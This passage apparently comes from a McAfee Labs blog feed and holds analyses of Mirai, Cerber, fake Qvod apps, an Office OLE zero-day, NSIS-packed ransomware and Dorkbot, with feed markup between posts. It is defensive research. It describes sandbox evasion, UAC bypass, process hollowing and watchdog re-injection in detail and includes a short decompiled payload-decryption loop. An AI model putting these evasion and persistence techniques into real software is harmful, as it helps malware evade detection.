What do these attacks have in common? They all take advantage of poor network and credential management. In these attacks, the malware scans for open Telnet or SSH ports, discovers IoT devices behind them, performs brute-force attacks using a dictionary of common default usernames and passwords, and then looks for ways to send the malware payload. Once infected, each malware family has different objectives, as we discussed above.

Given that these IoT device attacks follow the same attack sequence, why don’t IoT device makers simply address their weaknesses? And if they address the problems of poor network and credential management, will that solve the IoT device security problem once and for all?

We offered an answer to the first question in the McAfee Labs 2017 Threats Predictions report. In that report, we said that in their drive to be first to market with certain types of IoT devices, developers focus on features designed to capture early adopters. Unfortunately, sound security is usually not at the top of the list of must-have features by that class of buyers. Further, the use of poorly written, insecure third-party code libraries can exacerbate the problem. So, until the IoT device land rush subsides, we will probably continue to see obvious security weaknesses.

Addressing the problems of poor network and credential management will solve only the IoT device security weaknesses being exploited today. There will be other exploited weaknesses tomorrow.

The right way to look at security in an IoT device is by using an assist such as the OWASP IoT Attack Surface model. From an attacker’s point of view, an IoT device is very similar to any other computer system and should be assessed for security just as with other systems. I created this previously unpublished image last year to make the point:

This is the toaster attack surface!

In fact, when our threat research team examines an IoT device for security weaknesses, they use the OWASP model for guidance. If IoT device makers simply examined their products during development through an attacker’s lens, they could reduce the number of security weaknesses significantly.

What can you do today to mitigate IoT device security weaknesses? Some weaknesses unfortunately fall into the category of acceptable risk. Other weaknesses, however, can be addressed. Check out the Solution Brief “Secure IoT Devices to Protect Against Attacks” to learn more. In that brief, we offer actionable policies and procedures for securing IoT devices. We also provide detailed advice on how McAfee products can protect systems and networks from IoT device attacks.

To stay up to date on all cybersecurity news, follow @McAfee and @McAfee_Labs.

The post Mirai, BrickerBot, Hajime Attack a Common IoT Weakness appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/mirai-brickerbot-hajime-attack-common-iot-weakness/feed/ 0
Cerber Ransomware Evades Detection With Many Components https://securingtomorrow.mcafee.com/mcafee-labs/cerber-ransomware-evades-detection-with-many-components/ https://securingtomorrow.mcafee.com/mcafee-labs/cerber-ransomware-evades-detection-with-many-components/#respond Wed, 03 May 2017 04:00:46 +0000 https://securingtomorrow.mcafee.com/?p=72985 Cerber is a quickly evolving type of malware called crypto-ransomware. Cerber encrypts files on an infected computer and demands a ransom to restore them. (Read more about Cerber in this post.) Cerber ransomware first appeared in early 2016 and remains hard to detect. It uses multicomponent behavior (installing several malicious files on the victim’s machine) …

The post Cerber Ransomware Evades Detection With Many Components appeared first on McAfee Blogs.

]]>
Cerber is a quickly evolving type of malware called crypto-ransomware. Cerber encrypts files on an infected computer and demands a ransom to restore them. (Read more about Cerber in this post.)

Cerber ransomware first appeared in early 2016 and remains hard to detect. It uses multicomponent behavior (installing several malicious files on the victim’s machine) that shows similarities to families such as Gamarue. Recent variants have added a loader component that appears to be designed to evade detection.

Cerber infects systems via social media tricks such as spam email with malicious links or documents, malvertising campaigns, exploits of vulnerable websites, and takes advantage of exploit kits Angler, Nuclear, and others. Recently we have seen self-extracting archives.

Cerber’s infection path.

The SFX archive contains three files: VBS script, DLL, and an X component. The SFX file runs a VBS script using wscript.exe. The script executes a DLL-export function through rundll32.exe, which further decrypts and executes the encrypted X component. The last component checks for reversing environment techniques and injects the loader component into either Regasm.exe, Csc.exe or WerFault.exe.

The extracted archive:

 

 

The opening script, N3W7MN.VBS, has the following command:

The X component is fully encrypted and looks like this:

This DLL loads the first encrypted part (see next image) of the x component in memory; a second part looks for anti-reversing techniques. The first encrypted component:

This component does following:

  • Checks for antimalware engines.

  • Checks whether WireShark, a virtual machine, or VBox is running.

  • Adds the content of the VBS file into a run entry and runs one time.
  • The malware uses run entries to add the VBS script into the startup sequence so that the malicious VBS script executes at every reboot.

  • Adds an entry to the task scheduler to reside on the system for a long time. Tasks are by default stored in %WinDir%\Tasks or %WinDir%\System32\Tasks.

  • Decrypts the second component (see next image) from the X component and injects it into Regasm.exe or WerFault.exe to hide itself.

The decrypted second component checks for the .Net framework. If found, the malware checks the available version and injects code into it. If .Net is not found, it injects code into WerFault.exe. In this way, Cerber is effective against 32-bit and 64-bit machines:

The injected component has some interesting methods to bypass user account control, a feature that prevents unauthorized changes to a computer. Via notification, UAC assures that these changes are made only with the permission of the administrator. If a standard user account is in the local admin group, then damage is limited. Installing services, writing to secure locations, etc. are denied. To make these changes, users would need to interact with the desktop, such as with a right-click and run as administrator or accepting the UAC elevation prompt. There are number of ways to bypass UAC; one of them follows:

In the preceding code the value of “pszname” is “elevation:Administrator!new:{guid}”.

Summary

Cerber uses several key techniques:

  • Multicomponents to perform its tasks.
  • Uses several anti-debugging, anti-emulation techniques.
  • Bypasses UAC to gain elevated access.

Cerber uses these techniques to try to evade machine learning defenses. Defenders cannot rely on static machine learning; the security industry must adapt with dynamic machine learning or consider multiple technologies to proactively protect systems.

McAfee advises users to always keep their antimalware signatures up to date. McAfee products detect all versions of this malware as Ransom-Cerber!, with DAT Versions 8489 and later.

Hashes used in this analysis:

  • 352f1ac1407a551e42c270a8d381ed7c2d74718356cee3c2206bb4836ea6349f: SFX
  • 4d66976a9c20c859d44ea0df2d3325d35ed4556d83d5251384dbd4b790537d11: DLL

 

 

 

 

The post Cerber Ransomware Evades Detection With Many Components appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/cerber-ransomware-evades-detection-with-many-components/feed/ 0
Banned Chinese Qvod Lives on in Malicious Fakes https://securingtomorrow.mcafee.com/mcafee-labs/banned-chinese-qvod-lives-malicious-fakes/ https://securingtomorrow.mcafee.com/mcafee-labs/banned-chinese-qvod-lives-malicious-fakes/#respond Tue, 02 May 2017 17:56:53 +0000 https://securingtomorrow.mcafee.com/?p=72011 Qvod used to be a popular video player and developer in China. Due to piracy allegations and a threatened fine, the company went out of business in 2014. In spite of this, we have recently seen a number of malicious fake versions of Qvod. One common feature of these malicious apps is to disguise their …

The post Banned Chinese Qvod Lives on in Malicious Fakes appeared first on McAfee Blogs.

]]>
Qvod used to be a popular video player and developer in China. Due to piracy allegations and a threatened fine, the company went out of business in 2014. In spite of this, we have recently seen a number of malicious fake versions of Qvod.

One common feature of these malicious apps is to disguise their own icons to appear as the Qvod player or to use pornographic icons to attract users to install them. These apps contain a variety of malicious behaviors, including collecting user information, sending SMS that deduct payments, blocking legitimate SMS, pushing other apps (including malicious apps), and forcing users to activate the device manager.

These malicious apps are found mainly through forums, illegal video sites, and IM groups. They carry app names such as “midnight Qvod player,” “16-year-old-girl night player,” “midnight video player,” and “adult theater player.”

 

.

Examples of malicious fake Qvod apps.

After the victim installs and runs one of these malicious apps, it forces the user to activate the device manager. If the user attempts to cancel, the app occupies the entire screen, effectively requiring the user to activate the device manager. If the victim does not comply, they cannot use the phone. If the user does activate the device manager, the malware will respond to any attempt to delete the app by forcing a return to the desktop. Thus victims cannot follow the normal steps to uninstall the app.

 

Forcing the user to activate the device manager.

Next the malware attempts to trick victims to pay while in the background collecting user information and upload it to the server. It also downloads other apps and install them.

 

Example of an automatic app download in the background.

 

How to uninstall 

These malicious apps cannot be uninstalled by normal means. Use the following steps to regain control.

First, we need to prevent the malicious app from locking the screen during the uninstall operation.

Code to prevent locking the screen.

Then use the following method to place the deactivate device manager window on top.

Code to detect whether the device manger window is on top and to switch it to the top position.

Finally, you must switch the uninstall window to the top position to uninstall the app. You can also accomplish this step via the Android Debug Bridge utility, using the ADB uninstall command to remove the malicious app.

Code to switch the uninstall window to the top.

If you encounter a highly resistant variant of the malware, the preceding method may not work. You will have to restore the factory settings, or root the system, and then use ADB to connect to the phone and delete the malicious files.

McAfee Mobile Security detects this threat as Android/KboVedio and prevents mobile users from downloading this app.

 

 

 

 

The post Banned Chinese Qvod Lives on in Malicious Fakes appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/banned-chinese-qvod-lives-malicious-fakes/feed/ 0
Mirai Botnet Creates Army of IoT Orcs https://securingtomorrow.mcafee.com/mcafee-labs/mirai-botnet-creates-army-iot-orcs/ https://securingtomorrow.mcafee.com/mcafee-labs/mirai-botnet-creates-army-iot-orcs/#respond Thu, 20 Apr 2017 23:10:09 +0000 https://securingtomorrow.mcafee.com/?p=71831 This post was based on analysis by Yashashree Gund and RaviKant Tiwari. There is a lot of speculation in the news about surveillance from home appliances, personal electronics, or other Internet of Things (IoT) devices. Although some statements may be hyperbole, we know that these devices, in homes and offices, are being compromised and used …

The post Mirai Botnet Creates Army of IoT Orcs appeared first on McAfee Blogs.

]]>
This post was based on analysis by Yashashree Gund and RaviKant Tiwari.

There is a lot of speculation in the news about surveillance from home appliances, personal electronics, or other Internet of Things (IoT) devices. Although some statements may be hyperbole, we know that these devices, in homes and offices, are being compromised and used to attack others.

On October 21, 2016, the first major cyberattack using IoT devices as weapons was a massive flood of network traffic aimed at Dyn, a company that operates domain name and traffic optimization services. Peak traffic was measured at 1.2Tbps, the highest ever recorded for this type of attack. Analysis revealed that the attack came from a large number of webcams, compromised by Mirai botnet malware.

Mirai infects most IoT devices by scanning for open Telnet or SSH ports, and then using a short dictionary of common default usernames and passwords to break into vulnerable devices. After gaining entry, the malware drops a small binary program on the device, which fetches the full Mirai bot executable. Each infected bot searches for other vulnerable IoT devices, rapidly expanding the botnet. A network scan conducted by McAfee in late 2016 identified 40,000 infected IoT devices active and online, about 2.5 million infected devices that were offline, and about five devices newly infected every minute.

During the infection phase, the control server monitors the infection process until it “owns” enough IoT devices for whatever campaign the attacker has planned. When the attacker decides to initiate an attack, commands are sent to the bots to select the attack type and target. Mirai is capable of executing almost a dozen attack types at different layers, making it difficult to intercept. When the attacker determines that countermeasures are reducing the effectiveness of one attack type, Mirai can quickly switch to another type, working at the network, transport, or application layers.

Before the October attack on Dyn, the Mirai source code was released, and several Mirai-based botnets began offering attacks-as-a-service, using up to 100,000 bots, for less than $0.08 per bot. Since the source code release, additional Mirai variants have surfaced, as other cybercriminals look to build on the success of this malware family. We expect a steady release of new variants, targeting different devices, attack types, antidefense measures, and evasion techniques. The source code and attack-as-a-service offerings have made Mirai available to a wide range of individuals, greatly expanding the list of potential victims.

To test Mirai’s attack methods and infection speed, we set up a “honeypot,” simulating a vulnerable IoT device. (Watch our video.) Within a minute, we registered the first attempt to log in with default credentials.

We also monitored Mirai attack activity during a two-day period and counted 34 attacks by multiple Mirai botnets, mostly against targets in the United States, but also some in Germany, the Netherlands, and the United Kingdom. Targets were mostly gaming servers, as well as a few individuals, web shops, a dating site, and even another attack site. This would appear to confirm that even amateur attackers can use Mirai for their own ends.

The best defense against Mirai attacks on IoT devices is to change default passwords and usernames, and to use strong and unique passwords across all devices. The list of passwords used by Mirai to compromise IoT devices is disturbingly short and basic, including variations of “12345,” “admin,” “password,” “default,” and the name of the manufacturer. To bolster defenses, keep IoT device software up to date, segment IoT devices from other parts of the network, disable unused device services and ports, and periodically power-cycle IoT devices.

For more information on Mirai and best practices for securing your network and IoT devices, download the McAfee Labs Threats Report: April 2017.

The post Mirai Botnet Creates Army of IoT Orcs appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/mirai-botnet-creates-army-iot-orcs/feed/ 0
Critical Office Zero-Day Attacks Detected in the Wild https://securingtomorrow.mcafee.com/mcafee-labs/critical-office-zero-day-attacks-detected-wild/ Fri, 07 Apr 2017 23:14:50 +0000 https://securingtomorrow.mcafee.com/?p=71267 At McAfee, we have put significant efforts in hunting attacks such as advanced persistent threats and “zero days.” Yesterday, we observed suspicious activities from some samples. After quick but in-depth research, this morning we have confirmed these samples are exploiting a vulnerability in Microsoft Windows and Office that is not yet patched. This blog post …

The post Critical Office Zero-Day Attacks Detected in the Wild appeared first on McAfee Blogs.

]]>
At McAfee, we have put significant efforts in hunting attacks such as advanced persistent threats and “zero days.” Yesterday, we observed suspicious activities from some samples. After quick but in-depth research, this morning we have confirmed these samples are exploiting a vulnerability in Microsoft Windows and Office that is not yet patched.

This blog post serves as a heads-up for our customers and all Office users to protect against this zero-day attack.

The samples we have detected are organized as Word files (more specially, RTF files with “.doc” extension name). The exploit works on all Microsoft Office versions, including the latest Office 2016 running on Windows 10. The earliest attack we have seen dates to late January.

The exploit connects to a remote server (controlled by the attacker), downloads a file that contains HTML application content, and executes it as an .hta file. Because .hta is executable, the attacker gains full code execution on the victim’s machine. Thus, this is a logical bug, and gives the attackers the power to bypass any memory-based mitigations developed by Microsoft. The following is a part of the communications we captured:

The .hta content is disguised as a normal RTF file to evade security products, but we can find the malicious Visual Basic scripts in a later part of the file:

 

 

 

 

 

 

The successful exploit closes the bait Word document, and pops up a fake one to show the victim. In the background, the malware has already been stealthily installed on the victim’s system.

The root cause of the zero-day vulnerability is related to the Windows Object Linking and Embedding (OLE), an important feature of Office. (Check our Black Hat USA 2015 presentation, in which we examine the attack surface of this feature.)

We strongly suggest Office users take the following actions to protect or mitigate against this zero-day attack before Microsoft issues an official patch. We notified the Microsoft Security Response Center as soon as we found the suspicious samples, and we will continue to work with them to protect Office users.

  •  Do not open any Office files obtained from untrusted locations.
  •  According to our tests, this active attack cannot bypass the Office Protected View, so we suggest everyone ensure that Office Protected View is enabled.

We will continue to update our findings on this ongoing investigation.

 

Special thanks to Bing Sun, Chong Xu, Christiaan Beek, and Abhishek Karnik (and his team) for their help with this investigation.

The post Critical Office Zero-Day Attacks Detected in the Wild appeared first on McAfee Blogs.

]]>
McAfee Labs Threats Report Explores Threat Intelligence Sharing and Mirai, the IoT Botnet https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-threats-report-explores-threat-intelligence-sharing-mirai-iot-botnet/ https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-threats-report-explores-threat-intelligence-sharing-mirai-iot-botnet/#respond Thu, 06 Apr 2017 04:01:46 +0000 https://securingtomorrow.mcafee.com/?p=71037 In the McAfee Labs Threats Report: April 2017, published today, we explore two key topics. Following an announcement by the Cyber Threat Alliance of its formal incorporation and the release of a threat intelligence sharing platform, we provide some perspective about threat intelligence sharing. The story provides a detailed analysis of the background and drivers of …

The post McAfee Labs Threats Report Explores Threat Intelligence Sharing and Mirai, the IoT Botnet appeared first on McAfee Blogs.

]]>
In the McAfee Labs Threats Report: April 2017, published today, we explore two key topics.

Following an announcement by the Cyber Threat Alliance of its formal incorporation and the release of a threat intelligence sharing platform, we provide some perspective about threat intelligence sharing. The story provides a detailed analysis of the background and drivers of threat intelligence sharing, the various components of threat intelligence and its sources, how mature security operations can use this information, five critical challenges that need to be overcome, and the evolving sharing models that have appeared in the market.

To move threat intelligence sharing to the next level of efficiency and effectiveness, the story explains why improvement is needed in three areas:

  • We need to simplify event triage and provide a better environment for security practitioners to investigate high-priority threats.
  • We need to do a better job establishing relationships between indicators of compromise so that we can understand their connections to attack campaigns.
  • We need a better way to share threat intelligence among our own products and with other vendors.

You can learn about integrating threat intelligence in McAfee environments by reading the Operationalizing Threat Intelligence solution brief.

***

On October 21, 2016, the domain name service company Dyn was attacked with a massive and complex distributed denial-of-service attack. At its peak, Dyn was flooded by 1.2Tbps of traffic, the highest volume of DDoS traffic ever recorded. The analysis of the attack confirmed that the DDoS traffic originated from Internet of Things devices infected by the Mirai botnet.

In our second story, we examine the Mirai botnet, including its architecture and inner workings; its attack process, including the many attack vectors it can use to flood targets; and its evolution.

During our analysis of Mirai, we set up a honeypot masquerading as an unprotected, publicly accessible IoT device to see if we could attract a Mirai incursion. In fewer than five minutes, we registered the first attempted attack. Watch the video of the honeypot console, showing how quickly the simulated IoT device was discovered and attacked.

You can learn how to secure IoT devices and how McAfee products can protect systems and networks from IoT device attacks by reading the Secure IoT Devices to Protect Against Attacks solution brief.

***

Finally, we provide rich statistical detail about Q4 threat activity. Here are some highlights:

  • The number of new malware samples in Q4—23 million—dropped 17% from Q3. However, the overall count grew 24% in 2016 to 638 million samples.
  • The number of new ransomware samples fell 71% in Q4, mostly due to a drop in generic ransomware detections, as well as a decrease in Locky and CryptoWall. The number of total ransomware samples grew 88% in 2016.
  • Mobile malware. The number of new mobile malware samples declined by 17% in Q4. But total mobile malware grew 99% in 2016.
  • Mac OS malware. Although still small compared with Windows threats, the number of new Mac OS malware samples grew 245% in Q4, due to adware bundling. Total Mac OS malware grew 744% in 2016.
  • We counted 197 publicly disclosed security incidents in Q4 and 974 publicly known security incidents in 2016.

The McAfee Labs Threats Report: April 2017 is available here.

The post McAfee Labs Threats Report Explores Threat Intelligence Sharing and Mirai, the IoT Botnet appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-threats-report-explores-threat-intelligence-sharing-mirai-iot-botnet/feed/ 0
Ransomware Families Use NSIS Installers to Avoid Detection, Analysis https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-families-use-nsis-installers-to-avoid-detection-analysis/ https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-families-use-nsis-installers-to-avoid-detection-analysis/#respond Tue, 28 Mar 2017 18:45:12 +0000 https://securingtomorrow.mcafee.com/?p=70660 Malware families are constantly seeking new ways to hide their code, thwart replication, and avoid detection. A recent trend for the delivery of ransomware is the use of the Nullsoft Scriptable Install System (NSIS) with an encrypted payload. The list of the most common families using this technique is diverse and includes Cerber, Locky, Teerac, Crysis, …

The post Ransomware Families Use NSIS Installers to Avoid Detection, Analysis appeared first on McAfee Blogs.

]]>
Malware families are constantly seeking new ways to hide their code, thwart replication, and avoid detection. A recent trend for the delivery of ransomware is the use of the Nullsoft Scriptable Install System (NSIS) with an encrypted payload. The list of the most common families using this technique is diverse and includes Cerber, Locky, Teerac, Crysis, CryptoWall, and CTB-Locker.

Rarely do we see multiple families consistently using the same methods for packing. In this case the payload is dependent on the installer for execution, and the decrypted malware payload never touches the disk. Using the NSIS packaging method makes the malware harder to collect and find using bulk collection techniques. Incoming samples may contain only the DLL responsible for unpacking without the encrypted payload or the NSIS installer. In this post, we will look at how the delivery mechanism works, why it is used, and the challenges it poses to researchers attempting to investigate the malware.

Why is this delivery method popular?

This attack vector begins its life as the payload of a spam downloader. An unsuspecting user opens an email attachment containing a malicious JavaScript or Word document. The malicious installer (detected as NSIS/ObfusRansom.*) downloads, launches, and drops a DLL file and an encrypted data file in %TEMP%. The installer then loads the DLL responsible for decrypting and executing the encrypted payload. The unpacker DLL steals five APIs from the NSIS installer’s import address table. The DLL then reads the encrypted file into memory, goes to a random hardcoded offset within the file, and decrypts the additional APIs it needs to decompress, write to memory, and execute the encrypted malware payload. This level of dependency makes static analysis, emulation, and replication more difficult and creates a delivery system in which the decrypted ransomware never touches the disk. During our analysis of these packers we did not find an example of the decrypted malware executable submitted to any of the well-known sample processing sites, such as VirusTotal.

Packer execution

 

The preceding flowchart summarizes the basic execution flow of this packer, which has been found with various levels of obfuscation, though all functionally equivalent. We have chosen a less obfuscated sample (MD5: F9AE740F62811D2FB638952A71EF6F72) to make this technical explanation simpler.

Most versions also attempt some code flow obfuscation to delay static analysis. The two common methods of code flow obfuscation we have seen are a QueueUserAPC combined with an alertable Sleep call:

 

 

Or structured exception handling combined with a divide by 0.

 

 

Neither of these methods are unique to this delivery method nor particularly hard to see when performing a static analysis. Once inside the main function, the malware first works on deobfuscating  three scrambled strings. These in some cases can be seen just by running “strings” on the sample. as shown in the following screenshot:

 

 

These strings in most cases contain “Kernel32,” a Microsoft API call, and the name of the encrypted file dropped by the installer. The following is a sample of Kernel32 being decrypted. All three of these strings are deobfuscated in a similar way.

Deobfuscating algorithm:

 

Memory with obfuscated string:

 

Memory with deobfuscated string:

 

After the strings have been deobfuscated, the malware next crafts a pointer to the installer’s memory space and saves the offsets for FirstThunk and OriginalFirstThunk. (A “thunk” is an automatically generated piece of code to assist in calling another subroutine.) Essentially, the OriginalFirstThunk is the import name table and FirstThunk is the import address table.

 

 

The unpacker DLL then walks through the OriginalFirstThunk looking for the names of the five APIs it needs to steal and saves their addresses directly from the corresponding FirstThunk entries. This loop uses some basic logic based on string size and the position of letters to accurately grab the APIs it needs.

 

GetProcAddress:

 

GetModuleHandle:

 

GetFileSize:

 

GlobalAlloc:

 

ReadFile:

 

These five stolen APIs are used to read the encrypted file into memory, where it will later decrypt the second layer of APIs it needs.

The packer next prepares the payload. When the parent NSIS installer runs, one of the files it drops is an encrypted and compressed file. This file is the main payload of the malware, which the packer is preparing to launch. As we mentioned, our research shows this payload can be one of a wide variety of malware, including several ransomware variants.

The malware first opens a file handle to the payload using the CreateFile API. The payload name and extension is one of the strings already deobfuscated.

 

 

Value of ECX (filename):

 

The malware obtains the size of the file needed for decrypting and reading the file. With the file size, a new chunk of memory is allocated for the file to be read into memory:

 

With the encrypted file now stored in memory, the malware begins processing this file by decrypting the APIs’ names. Each sample we studied had the location of both the API names and decryption key hardcoded in the sample. We also found that both of these could typically be found in the first 0x1FFF bytes of the file. The decrypting of the API strings is done in a loop using simple arithmetic.

 

Encrypted APIs:

 

Depending on the sample, this code can be extremely obfuscated. We have decompiled this sample and simplified the decryption algorithm used in this loop to only the relevant lines shown below:

do{
api = *(api_base + counter);
key = ~*(counter + randomoffset);
*(api_base + counter) = api & key | ~key & ~api;
++counter;
}while ( counter < 330 );

We can see the “encryption” here is extremely basic. Some samples we found had slightly different decryption algorithms; however, they were always very basic arithmetic operations against a stored key. This function does a bitwise AND once with the key and the encrypted value and then again with those values NOTed. The results are then bitwise ORed. In our group of samples, the strings being decrypted were always the same; thus the number of iterations remained constant, at 0x14A (330).

Decrypted APIs:

 

The next major task is the decryption of the payload itself. The following shows the memory location of the encrypted payload:

 

The entire file does not go through the decryption process, only the executable itself. The malware uses the size gathered above from GetFileSize and a hardcoded value to determine the amount of bytes to decrypt.

 

The decryption algorithm for the payload in our samples was identical to that of the APIs decryption algorithm.

 

There is a small noticeable difference from the API decryption process based on when the loop is finished. As shown above, ebx holds the amount of bytes to decrypt, which is now acting as a counter.

Decrypted payload:

 

With the file and APIs now decrypted, the malware decompresses its payload. The malware authors used standard Windows APIs to perform their compression and use them again after decryption through a call to RtlDecompressBuffer. In this API the “2” pushed onto the stack represents the type of compression used. According to Microsoft documentation, 2 stands for LZ decompression.

 

With the payload fully decrypted and decompressed in memory, we can now dump the fully functional standalone payload using Windbg’s “.writemem” function. This allows us to study the payloads and determine whether they are known ransomware variants; however, theses specific payloads had not yet been seen by common malware research sites such as VirusTotal.

Now setup is needed to execute this payload in memory. The decrypted payload never touches the disk, helping reduce the probability of detection. The first step is to call CreateProcess in a suspended state. The malware executes in this process:

 

Following the CreateProcess API, the malware uses a standard process-hollowing technique. VirtualAlloc, GetThreadContext, ReadProcessMemory, and NtUnmapViewofSection are used in preparation to write its payload into the new thread. WriteProcessMemory copies the unencrypted payload into the new thread. Next a Sleep and ResumeThread call start the thread. Once the thread has started, the malware immediately terminates the parent thread.

 

Summary

The core functionality of these samples is very simple and does not exhibit any new behavior; yet the delivery method presents a new and interesting challenge. The delivery of ransomware in NSIS installers with an encrypted payload has proven to be a unique and effective method for delivering a wide range of malware. Currently all the samples explored have contained only variants of ransomware; however, we can easily imagine other families of malware using this technique. We have seen a wide range of anti-emulation methods, strong code-obfuscation techniques, and variance in hardcoded values. The encryption used for the fields and APIs is generally very weak and not designed to be the main challenge for reversing or detection. It is likely that either one threat actor is distributing multiple forms of ransomware, or multiple threat actors are using the same group to distribute their ransomware.

The post Ransomware Families Use NSIS Installers to Avoid Detection, Analysis appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-families-use-nsis-installers-to-avoid-detection-analysis/feed/ 0
Analyzing a Fresh Variant of the Dorkbot Botnet https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-fresh-variant-dorkbot-botnet/ https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-fresh-variant-dorkbot-botnet/#respond Thu, 09 Mar 2017 22:15:40 +0000 https://securingtomorrow.mcafee.com/?p=70304 At McAfee Labs, we have recently observed a new variant of the Dorkbot botnet. Dorkbot is a well-known bot, famous for its various capabilities including backdoor, password stealing, and other malicious behavior. Dorkbot relies on social networking as its infection vector. In this post, we offer our analysis of this new variant. The malware downloads …

The post Analyzing a Fresh Variant of the Dorkbot Botnet appeared first on McAfee Blogs.

]]>
At McAfee Labs, we have recently observed a new variant of the Dorkbot botnet. Dorkbot is a well-known bot, famous for its various capabilities including backdoor, password stealing, and other malicious behavior. Dorkbot relies on social networking as its infection vector. In this post, we offer our analysis of this new variant.

The malware downloads the file from api[.]wipmania[.]net, a site that provides geolocalization services. The following screen shows the network traffic of the downloader file.

Downloader network communications.

The downloaded file is a wrapper compiled using Microsoft Visual C/C++ (2008 version). During our analysis we studied the wrapper file and extracted the inner file from the malware.

 

Analyzing the core

The inner file is also complied with a Microsoft Visual C++. The core is 48KB and has strings related to virtual machine names, registry entries, encrypted URLs, etc. as shown in the following:

Strings and encrypted URLs in the core file.

Anti-VM

Before performing any malicious activity, the malware executes code that checks for a virtual environment. It uses the SetupDiGetDeviceRegistryPropertyA() API, which helps in retrieving specified Universal Plug and Play device properties. A code snippet:

Searching for virtual machines using SetupDiGetDeviceRegistryPropertyA ().

As we see in the preceding snapshot, the malware passes the third argument as 0xC (SPDRP_FRIENDLYNAME), which retrieves the friendly name of the device. It then checks the device name with the strings related to virtual machines, for example, vbox, qemu, vmware, and virtual hd. If the malware finds any of these strings, indicating the presence of a virtual environment, it will terminate itself.

After passing the VM check, the malware checks the current working directory. It compares the file path with the desired path from %appdata% with the folder name in GUID format, for example, %appdata%/{GUID}. The following assembly code shows the malware code that checks the file path.

File execution path check.

If the file is executed from a different path, the malware considers the event as its first execution. In the first execution, the malware sets up its environment: file drop, registry entries, etc. The malware creates a directory in %appdata% and copies itself. It uses a custom function and the StringFromGUID2() API to get the folder name in GUID format. The dropped file and path is shown in the following:

The malware copies itself to %appdata%.

Dorkbot also creates a Run registry entry and task to persist on the system, setting the execution file path with the dropped file mentioned above. The registry entry created by the malware:

Dorkbot’s registry entry.

The malware also creates a task that triggers when the user logs on, executing the malware file.

After successful installation of registry and schedule tasks, the malware uses process hollowing to execute its code as svchost.exe and bypass application-level whitelists.

The malware creates svchost.exe.

After injecting itself into svchost.exe, Dorkbot calls ZwQueueApcThread(),an undocumented API used to queue an asynchronous procedure call (APC) routine (the malware’s remote code) on a current remote thread. (APCs are functions that execute asynchronously in the context of a particular thread.) ZwQueueApcThread allows the caller to specify three arguments that will be passed to the thread, including the thread routine. The malware sends a routine address different from the address of the entry point of the file, resulting in communication with the control server.

The injected code first executes the relocation code, making the injected code compatible with the new base address. After relocating the code, the malware ensures it is kept active in the system—even after being killed manually—by injecting a watchdog code in already running processes. One strange thing we observed is that before injecting the watchdog code, the malware checks for the process names TeamViewer and tv_w32.exe. If the malware finds either of them, it does not inject its code into that process.

Process enumeration and watchdog code injection.

Dorkbot enumerates the running processes and tries to open them with 0x10047A flag/permissions related to remote memory creation, reading and writing to memory. Definitions of the flags:

0x100000    => Synchronize
0x400     => QueryInformation
0x70     => VirtualMemoryRead + VirtualMemoryWrite + DuplicateHandle
0xA     => VirtualMemoryOperation + CreateThread

The watchdog code has some API calls that Dorkbot needs to update to make its code compatible with the remote process. Dorkbot updates the placeholders in the code that are related to API addresses and the malware’s process ID. Along with the watchdog code, the malware also inject its file path, referenced by the code, to restart the process. The following screen shows the watchdog code before and after modification:

Injected watchdog code: before and after modification.

The injected code uses the WaitForSingleObject() API to wait infinitely for malware process. It provides the malware’s process ID as the first argument and infinite time as the second argument. If the malware process is killed, Dorkbot signals to WaitForSingleObject () and the injected code proceeds. After getting the signal, the injected code executes CreateProcessW () API and again creates the malware process.

As we mentioned, the malware also injects the malware’s file path to the remote process to restart its execution if it is killed manually. But as we see in the preceding screen, we cannot find any address referencing the malware file path. This is because the malware passes the file path’s address as an argument to the CreateRemoteThread() API and in the code is referenced with the help of the EBP register ([EBP + 8]).

CreateRemoteThread arguments.

Network communications

For communications, the malware contains a list of encrypted URLs. The malware decrypts this list and generates a list of URLs in the format %s%u.%s, which is also present in the malware itself. Here the first “%s” signifies the string “con,” “%u” signifies integers 1 and 2, and the subsequent “%s” signifies the decrypted URL. Thus the malware adds the prefixes con1. and con2. to each of the decrypted URLs.

Decrypted URL: abcxyz.com
Generated URLs: con1. abcxyz.com, con2. abcxyz.com

Data sent by the malware to its control server.

The first 4 bytes of the data is the fixed dword value hardcoded in the malware. These 4 bytes are also used while checking the received data from the server. The fifth byte of the data represents operating system major and minor versions. The sixth byte defines whether the OS is 32- or 64-bit. The value for this byte is either 0x20 or 0x40, the hex representations of 32 and 64, respectively.

The next part is the hex data, defined as a character, for example, 0x41 stands for for “A” and is represented as 4 and 1. This part of the data is the union of the computer name and the calculated hash data separated by #. The malware uses the format specifier “%s#%s,” in which the first part is the computer name and the latter the hash value. Following this data is the word value (0x444E in this case), which is taken from the particular offset in the file. The last part of the data is derived from the current time and the output of the GetTickCount () API.

After sending the data to the server, the malware is ready to receive data. Because the URLs are not currently active, we did not receive any data from the server during our analysis. However, from the assembly code, we can see that the malware expects the data from the server in a particular format. The following assembly code snippet shows the checks performed by the malware on the received data.

Received data checks.

The WS2_32.recv () API receives data from a connected socket and returns the number of bytes received. The malware checks the return value of the API, which is the length of bytes received from server with the value 205; that is, the malware expects the data from control server to be 205 bytes in length. After checking the number of bytes, it evaluates the first 6 bytes of the data. It compares the first 4 bytes with the fixed dword value (18273645 in this case), which it used while sending the data. (See the screen of data sent to the control server.) The malware expects the fifth and sixth bytes to be 1 and 0, respectively.

The inactive URLs prevented us from going further with our analysis. We shall post new information when available.

Intel Security’s McAfee products detect this variant of the malware.

The post Analyzing a Fresh Variant of the Dorkbot Botnet appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-fresh-variant-dorkbot-botnet/feed/ 0
